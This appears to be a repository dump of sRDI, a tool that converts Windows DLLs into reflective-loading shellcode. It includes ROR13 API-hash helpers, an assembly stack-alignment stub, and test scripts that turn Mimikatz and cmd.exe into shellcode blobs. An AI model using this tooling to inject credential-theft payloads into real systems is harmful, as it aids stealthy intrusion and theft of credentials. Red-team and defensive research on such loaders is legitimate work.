├── ShellcodeRDI ├── function_link_order.txt ├── function_link_order64.txt ├── 64BitHelper.h ├── ShellcodeRDI.vcxproj.filters ├── AdjustStack.asm ├── GetProcAddressWithHash.h └── ShellcodeRDI.c ├── TestDLL ├── Resource.rc ├── TestDLL.cpp ├── stdafx.cpp ├── targetver.h ├── resource.h ├── stdafx.h ├── dllmain.cpp ├── TestDLL.vcxproj.filters ├── ReadMe.txt └── TestDLL.vcxproj ├── Tests ├── ConvertCalc.bat ├── ConvertCmdExe.cmd ├── ConvertHex2bin.cmd ├── ConvertNotepad.cmd ├── Executables │ ├── cmd.exe │ ├── calc.exe │ ├── hex2bin.exe │ ├── notepad.exe │ ├── cmd-dll_v0_0_1 │ │ ├── cmd.dll │ │ ├── main.c │ │ └── cmd.rbuild │ └── mimikatz_trunk │ │ ├── Win32 │ │ ├── mimidrv.sys │ │ ├── mimilib.dll │ │ ├── mimilib.idb │ │ ├── mimikatz.exe │ │ ├── mimilove.exe │ │ ├── mimilib.dll.bak │ │ └── mimilib - Copy.dll │ │ ├── mimicom.idl │ │ ├── kiwi_passwords.yar │ │ └── README.md ├── Shellcode │ ├── Calc.bin │ ├── CmdDll.bin │ ├── CmdExe.bin │ ├── Mimikatz.bin │ ├── hex2bin.bin │ └── notepad.bin ├── ConvertCmdDll.cmd ├── ConvertMimikatz.cmd └── Convert.py ├── bin └── .gitignore ├── DotNet ├── App.config ├── Properties │ └── AssemblyInfo.cs └── DotNet.csproj ├── FunctionTest ├── stdafx.cpp ├── targetver.h ├── stdafx.h ├── FunctionTest.cpp ├── FunctionTest.vcxproj.filters └── FunctionTest.vcxproj ├── Native ├── stdafx.cpp ├── targetver.h ├── stdafx.h ├── Native.vcxproj.filters ├── Native.vcxproj └── Loader.cpp ├── ShellcodeRDITest ├── stdafx.cpp ├── targetver.h ├── stdafx.h ├── ReadMe.txt ├── ShellcodeRDITest.cpp └── ShellcodeRDITest.vcxproj ├── Python ├── ConvertToShellcode.py ├── EncodeBlobs.py ├── Python.pyproj ├── ShellcodeRDI.py └── peutils.py ├── lib ├── PowerShell │ ├── Out-Shellcode.ps1 │ ├── Get-FunctionHash.ps1 │ ├── Get-LibSymbols.ps1 │ └── Get-ObjDump.format.ps1xml └── Python │ └── FunctionToHash.py ├── README.md ├── ShellcodeRDI.sln └── .gitignore /ShellcodeRDI/function_link_order.txt: -------------------------------------------------------------------------------- 1 | ExecutePayload 2 | GetProcAddressWithHash -------------------------------------------------------------------------------- /ShellcodeRDI/function_link_order64.txt: -------------------------------------------------------------------------------- 1 | Begin 2 | GetProcAddressWithHash 3 | ExecutePayload -------------------------------------------------------------------------------- /TestDLL/Resource.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/TestDLL/Resource.rc -------------------------------------------------------------------------------- /Tests/ConvertCalc.bat: -------------------------------------------------------------------------------- 1 | python Convert.py Executables\calc.exe Shellcode\Calc.bin 2 | pause -------------------------------------------------------------------------------- /Tests/ConvertCmdExe.cmd: -------------------------------------------------------------------------------- 1 | python Convert.py Executables\cmd.exe Shellcode\CmdExe.bin 2 | pause -------------------------------------------------------------------------------- /Tests/ConvertHex2bin.cmd: -------------------------------------------------------------------------------- 1 | python Convert.py Executables\hex2bin.exe Shellcode\hex2bin.bin 2 | pause -------------------------------------------------------------------------------- /Tests/ConvertNotepad.cmd: -------------------------------------------------------------------------------- 1 | python Convert.py Executables\notepad.exe Shellcode\notepad.bin 2 | pause -------------------------------------------------------------------------------- /bin/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore everything in this directory 2 | * 3 | # Except this file 4 | !.gitignore -------------------------------------------------------------------------------- /Tests/Executables/cmd.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/cmd.exe -------------------------------------------------------------------------------- /Tests/Shellcode/Calc.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/Calc.bin -------------------------------------------------------------------------------- /Tests/ConvertCmdDll.cmd: -------------------------------------------------------------------------------- 1 | python Convert.py Executables\cmd-dll_v0_0_1\cmd.dll Shellcode\CmdDll.bin 2 | pause -------------------------------------------------------------------------------- /Tests/Executables/calc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/calc.exe -------------------------------------------------------------------------------- /Tests/Shellcode/CmdDll.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/CmdDll.bin -------------------------------------------------------------------------------- /Tests/Shellcode/CmdExe.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/CmdExe.bin -------------------------------------------------------------------------------- /Tests/Shellcode/Mimikatz.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/Mimikatz.bin -------------------------------------------------------------------------------- /Tests/Shellcode/hex2bin.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/hex2bin.bin -------------------------------------------------------------------------------- /Tests/Shellcode/notepad.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/notepad.bin -------------------------------------------------------------------------------- /Tests/Executables/hex2bin.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/hex2bin.exe -------------------------------------------------------------------------------- /Tests/Executables/notepad.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/notepad.exe -------------------------------------------------------------------------------- /Tests/ConvertMimikatz.cmd: -------------------------------------------------------------------------------- 1 | python Convert.py Executables\mimikatz_trunk\Win32\mimikatz.exe Shellcode\Mimikatz.bin 2 | pause 3 | -------------------------------------------------------------------------------- /Tests/Executables/cmd-dll_v0_0_1/cmd.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/cmd-dll_v0_0_1/cmd.dll -------------------------------------------------------------------------------- /TestDLL/TestDLL.cpp: -------------------------------------------------------------------------------- 1 | // TestDLL.cpp : Defines the exported functions for the DLL application. 2 | // 3 | 4 | #include "stdafx.h" 5 | 6 | 7 | -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/Win32/mimidrv.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimidrv.sys -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/Win32/mimilib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilib.dll -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/Win32/mimilib.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilib.idb -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/Win32/mimikatz.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimikatz.exe -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/Win32/mimilove.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilove.exe -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/Win32/mimilib.dll.bak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilib.dll.bak -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/Win32/mimilib - Copy.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilib - Copy.dll -------------------------------------------------------------------------------- /DotNet/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ShellcodeRDI/64BitHelper.h: -------------------------------------------------------------------------------- 1 | #if defined(_WIN64) 2 | extern VOID AlignRSP( VOID ); 3 | 4 | VOID Begin( VOID ) 5 | { 6 | // Call the ASM stub that will guarantee 16-byte stack alignment. 7 | // The stub will then call the ExecutePayload. 8 | AlignRSP(); 9 | } 10 | #endif -------------------------------------------------------------------------------- /TestDLL/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // TestDLL.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /FunctionTest/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // FunctionTest.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /Native/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // RDIShellcodeCLoader.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /Native/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /ShellcodeRDITest/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ShellcodeRDITest.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /TestDLL/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /FunctionTest/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /ShellcodeRDITest/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /Native/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /FunctionTest/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /ShellcodeRDITest/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /Tests/Convert.py: -------------------------------------------------------------------------------- 1 | import sys 2 | sys.path.append(r'..\Python') 3 | from ShellcodeRDI import * 4 | 5 | input_filename=sys.argv[1] 6 | output_filename=sys.argv[2] 7 | 8 | print('Reading', input_filename) 9 | dll=open(input_filename, 'rb').read() 10 | shellcode=ConvertToShellcode(dll) 11 | 12 | print('Writing', output_filename) 13 | fd=open(output_filename,'wb') 14 | fd.write(shellcode) 15 | fd.close() 16 | -------------------------------------------------------------------------------- /TestDLL/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by Resource.rc 4 | 5 | // Next default values for new objects 6 | // 7 | #ifdef APSTUDIO_INVOKED 8 | #ifndef APSTUDIO_READONLY_SYMBOLS 9 | #define _APS_NEXT_RESOURCE_VALUE 101 10 | #define _APS_NEXT_COMMAND_VALUE 40001 11 | #define _APS_NEXT_CONTROL_VALUE 1001 12 | #define _APS_NEXT_SYMED_VALUE 101 13 | #endif 14 | #endif 15 | -------------------------------------------------------------------------------- /TestDLL/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 11 | // Windows Header Files: 12 | #include 13 | 14 | 15 | 16 | // TODO: reference additional headers your program requires here 17 | -------------------------------------------------------------------------------- /Tests/Executables/cmd-dll_v0_0_1/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | INT WINAPI 4 | DllMain( 5 | IN PVOID hInstanceDll, 6 | IN ULONG dwReason, 7 | IN PVOID reserved) 8 | { 9 | switch (dwReason) 10 | { 11 | case DLL_PROCESS_ATTACH: 12 | cmd_main(0, NULL); 13 | break; 14 | 15 | case DLL_THREAD_ATTACH: 16 | break; 17 | 18 | case DLL_THREAD_DETACH: 19 | break; 20 | 21 | case DLL_PROCESS_DETACH: 22 | break; 23 | } 24 | 25 | return TRUE; 26 | } 27 | -------------------------------------------------------------------------------- /Python/ConvertToShellcode.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from ShellcodeRDI import * 3 | 4 | __version__ = '1.0' 5 | 6 | def main(): 7 | parser = argparse.ArgumentParser(description='RDI Shellcode Converter', conflict_handler='resolve') 8 | parser.add_argument('-v', '--version', action='version', version='%(prog)s Version: ' + __version__) 9 | parser.add_argument('input_dll', help='DLL to convert to shellcode') 10 | parser.add_argument('-f', '--function-name', dest='function_name', default='SayHello', help='The function to call after DllMain') 11 | arguments = parser.parse_args() 12 | 13 | input_dll = arguments.input_dll 14 | output_bin = input_dll.replace('.dll', '.bin') 15 | 16 | print('Creating Shellcode: {}'.format(output_bin)) 17 | dll = open(arguments.input_dll, 'rb').read() 18 | 19 | converted_dll = ConvertToShellcode(dll, HashFunctionName(arguments.function_name)) 20 | with open(output_bin, 'wb') as f: 21 | f.write(converted_dll) 22 | 23 | if __name__ == '__main__': 24 | main() 25 | -------------------------------------------------------------------------------- /TestDLL/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "stdafx.h" 3 | #include 4 | #include 5 | 6 | 7 | HANDLE hSSThread; 8 | DWORD threadID; 9 | 10 | BOOL APIENTRY DllMain( HMODULE hModule, 11 | DWORD ul_reason_for_call, 12 | LPVOID lpReserved 13 | ) 14 | { 15 | switch (ul_reason_for_call) 16 | { 17 | case DLL_PROCESS_ATTACH: 18 | MessageBoxA(NULL, "DLLMain!", "We've started.", 0); 19 | break; 20 | case DLL_THREAD_ATTACH: 21 | case DLL_THREAD_DETACH: 22 | case DLL_PROCESS_DETACH: 23 | break; 24 | } 25 | return TRUE; 26 | } 27 | 28 | //extern "C" to prevent C++ name mangling 29 | extern "C" __declspec(dllexport) BOOL SayGoodbye(LPVOID lpUserdata, DWORD nUserdataLen) 30 | { 31 | return MessageBoxA(NULL, "I'm Leaving!", "Goodbye", 0); 32 | } 33 | 34 | extern "C" __declspec(dllexport) BOOL SayHello(LPVOID lpUserdata, DWORD nUserdataLen) 35 | { 36 | return MessageBoxA(NULL, "I'm alive!", "Hello", 0); 37 | } 38 | 39 | -------------------------------------------------------------------------------- /lib/PowerShell/Out-Shellcode.ps1: -------------------------------------------------------------------------------- 1 | Param ( 2 | [Parameter(Position = 0, Mandatory = $True)] 3 | [String] 4 | $InputExe, 5 | 6 | [Parameter(Position = 1, Mandatory = $True)] 7 | [ValidateScript({ Test-Path $_ })] 8 | [String] 9 | $InputMapFile, 10 | 11 | [Parameter(Position = 2, Mandatory = $True)] 12 | [String] 13 | $OutputFile 14 | ) 15 | 16 | # PowerShell v2 17 | if(!$PSScriptRoot){ 18 | $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent 19 | } 20 | 21 | . "$PSScriptRoot\Get-PEHeader.ps1" 22 | 23 | $PE = Get-PEHeader $InputExe -GetSectionData 24 | $TextSection = $PE.SectionHeaders | Where-Object { $_.Name -eq '.text' } 25 | 26 | $MapContents = Get-Content $InputMapFile 27 | 28 | $TextSectionInfo = @($MapContents | Where-Object { $_ -match '\.text.+CODE' })[0] 29 | 30 | $ShellcodeLength = [Int] "0x$(( $TextSectionInfo -split ' ' | Where-Object { $_ } )[1].TrimEnd('H'))" - 1 31 | 32 | Write-Host "Shellcode length: 0x$(($ShellcodeLength + 1).ToString('X4'))" 33 | 34 | [IO.File]::WriteAllBytes($OutputFile, $TextSection.RawData[0..$ShellcodeLength]) 35 | -------------------------------------------------------------------------------- /lib/Python/FunctionToHash.py: -------------------------------------------------------------------------------- 1 | 2 | import sys 3 | 4 | ror = lambda val, r_bits, max_bits: \ 5 | ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ 6 | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) 7 | 8 | if len(sys.argv) != 2 and len(sys.argv) != 3: 9 | print("\nUsage:\nFunctionToHash.py [Module] [Function]\nFunctionToHash.py kernel32.dll CreateProcessA\n\nOR\n\nFunctionToHash.py [Function]\nFunctionToHash.py ExportedFunction") 10 | exit() 11 | 12 | if len(sys.argv) == 3: 13 | module = sys.argv[1].upper().encode('UTF-16LE') + b'\x00\x00' 14 | function = sys.argv[2].encode() + b'\x00' 15 | 16 | functionHash = 0 17 | 18 | for b in function: 19 | functionHash = ror(functionHash, 13, 32) 20 | functionHash += b 21 | 22 | moduleHash = 0 23 | 24 | for b in module: 25 | moduleHash = ror(moduleHash, 13, 32) 26 | moduleHash += b 27 | 28 | functionHash += moduleHash 29 | 30 | if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000 31 | 32 | else: 33 | function = sys.argv[1].encode() + b'\x00' 34 | 35 | functionHash = 0 36 | 37 | for b in function: 38 | functionHash = ror(functionHash, 13, 32) 39 | functionHash += b 40 | 41 | 42 | print(hex(functionHash)) 43 | -------------------------------------------------------------------------------- /ShellcodeRDI/ShellcodeRDI.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | 31 | 32 | Source Files 33 | 34 | 35 | -------------------------------------------------------------------------------- /Native/Native.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | 29 | 30 | Source Files 31 | 32 | 33 | Source Files 34 | 35 | 36 | -------------------------------------------------------------------------------- /TestDLL/TestDLL.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | 29 | 30 | Source Files 31 | 32 | 33 | Source Files 34 | 35 | 36 | Source Files 37 | 38 | 39 | -------------------------------------------------------------------------------- /DotNet/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("RDIShellcodeLoader")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("RDIShellcodeLoader")] 13 | [assembly: AssemblyCopyright("Copyright © 2015")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("fd50dee9-91ab-4449-ba55-27c71098076b")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /FunctionTest/FunctionTest.cpp: -------------------------------------------------------------------------------- 1 | // FunctionTest.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | #include 7 | 8 | DWORD GetFileContents(LPCSTR filename, LPSTR *data, DWORD &size) 9 | { 10 | std::FILE *fp = std::fopen(filename, "rb"); 11 | 12 | if (fp) 13 | { 14 | fseek(fp, 0, SEEK_END); 15 | size = ftell(fp); 16 | fseek(fp, 0, SEEK_SET); 17 | 18 | *data = (LPSTR)malloc(size + 1); 19 | fread(*data, size, 1, fp); 20 | fclose(fp); 21 | return true; 22 | } 23 | return false; 24 | } 25 | 26 | #define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift))) 27 | 28 | DWORD HashFunctionName(LPSTR name) { 29 | DWORD hash = 0; 30 | 31 | do 32 | { 33 | hash = ROTR32(hash, 13); 34 | hash += *name; 35 | name++; 36 | } while (*(name - 1) != 0); 37 | 38 | return hash; 39 | } 40 | 41 | extern "C" ULONG_PTR ExecutePayload(ULONG_PTR uiLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen); 42 | 43 | int main() 44 | { 45 | LPSTR buffer = NULL; 46 | DWORD bufferSize = 0; 47 | 48 | HMODULE test = LoadLibraryA("User32.dll"); // For MessageBox Testing 49 | 50 | #ifdef _WIN64 51 | LPCSTR fileName = "../bin/TestDLL_x64.dll"; 52 | #else 53 | LPCSTR fileName = "../../bin/TestDLL_x86.dll"; 54 | #endif 55 | 56 | DWORD result = GetFileContents(fileName, &buffer, bufferSize); 57 | 58 | if (!result || buffer == NULL) { 59 | printf("[!] Cannot read file."); 60 | return 1; 61 | } 62 | 63 | ExecutePayload((ULONG_PTR)buffer, HashFunctionName("SayHello"), NULL, 0); 64 | 65 | return 0; 66 | } 67 | 68 | -------------------------------------------------------------------------------- /ShellcodeRDI/AdjustStack.asm: -------------------------------------------------------------------------------- 1 | ; Author: Matthew Graeber (@mattifestation) 2 | ; License: BSD 3-Clause 3 | ; Syntax: MASM 4 | ; Build Syntax: ml64 /c /Cx AdjustStack.asm 5 | ; Output: AdjustStack.obj 6 | ; Notes: I really wanted to avoid having this external dependency but I couldn't 7 | ; come up with any other way to guarantee 16-byte stack alignment in 64-bit 8 | ; shellcode written in C. 9 | 10 | EXTRN ExecutePayload:PROC 11 | PUBLIC AlignRSP ; Marking AlignRSP as PUBLIC allows for the function 12 | ; to be called as an extern in our C code. 13 | 14 | _TEXT SEGMENT 15 | 16 | ; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior 17 | ; to calling the entry point of the payload. This is necessary because 64-bit functions 18 | ; in Windows assume that they were called with 16-byte stack alignment. When amd64 19 | ; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example, 20 | ; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely 21 | ; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte) 22 | ; alignment. 23 | 24 | AlignRSP PROC 25 | push rsi ; Preserve RSI since we're stomping on it 26 | mov rsi, rsp ; Save the value of RSP so it can be restored 27 | and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes 28 | sub rsp, 020h ; Allocate homing space for ExecutePayload 29 | call ExecutePayload ; Call the entry point of the payload 30 | mov rsp, rsi ; Restore the original value of RSP 31 | pop rsi ; Restore RSI 32 | ret ; Return to caller 33 | AlignRSP ENDP 34 | 35 | _TEXT ENDS 36 | 37 | END -------------------------------------------------------------------------------- /Python/EncodeBlobs.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import os 3 | import sys 4 | 5 | def main(): 6 | parser = argparse.ArgumentParser(description='sRDI Blob Encoder', conflict_handler='resolve') 7 | parser.add_argument('bin_directory', help='Bin directory containing ShellcodeRDI_xXX.bin files') 8 | arguments = parser.parse_args() 9 | 10 | binFile32 = os.path.join(arguments.bin_directory, 'ShellcodeRDI_x86.bin') 11 | binFile64 = os.path.join(arguments.bin_directory, 'ShellcodeRDI_x64.bin') 12 | 13 | if not os.path.isfile(binFile32) or not os.path.isfile(binFile64): 14 | print("[!] ShellcodeRDI_x86.bin and ShellcodeRDI_x64.bin files weren't in the bin directory") 15 | return 16 | 17 | binData32 = open(binFile32, 'rb').read() 18 | binData64 = open(binFile64, 'rb').read() 19 | 20 | print('[+] \\x escaped strings:\n') 21 | print('rdiShellcode32 = "{}"\n'.format( 22 | ''.join('\\x{:02X}'.format(b) for b in binData32) 23 | )) 24 | print('rdiShellcode64 = "{}"\n'.format( 25 | ''.join('\\x{:02X}'.format(b) for b in binData64) 26 | )) 27 | 28 | print('\n\n[+] 0x escaped strings:\n') 29 | print('var rdiShellcode32 = new byte[] {{ {} }};\n'.format( 30 | ','.join('0x{:02X}'.format(b) for b in binData32) 31 | )) 32 | print('var rdiShellcode64 = new byte[] {{ {} }};\n'.format( 33 | ','.join('0x{:02X}'.format(b) for b in binData64) 34 | )) 35 | 36 | print('\n[+] Final Lengths:\n') 37 | print("rdiShellcode32 Length: {}".format(len(binData32))) 38 | print("rdiShellcode64 Lenght: {}".format(len(binData64))) 39 | 40 | print("") 41 | 42 | if __name__ == '__main__': 43 | main() 44 | -------------------------------------------------------------------------------- /FunctionTest/FunctionTest.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | 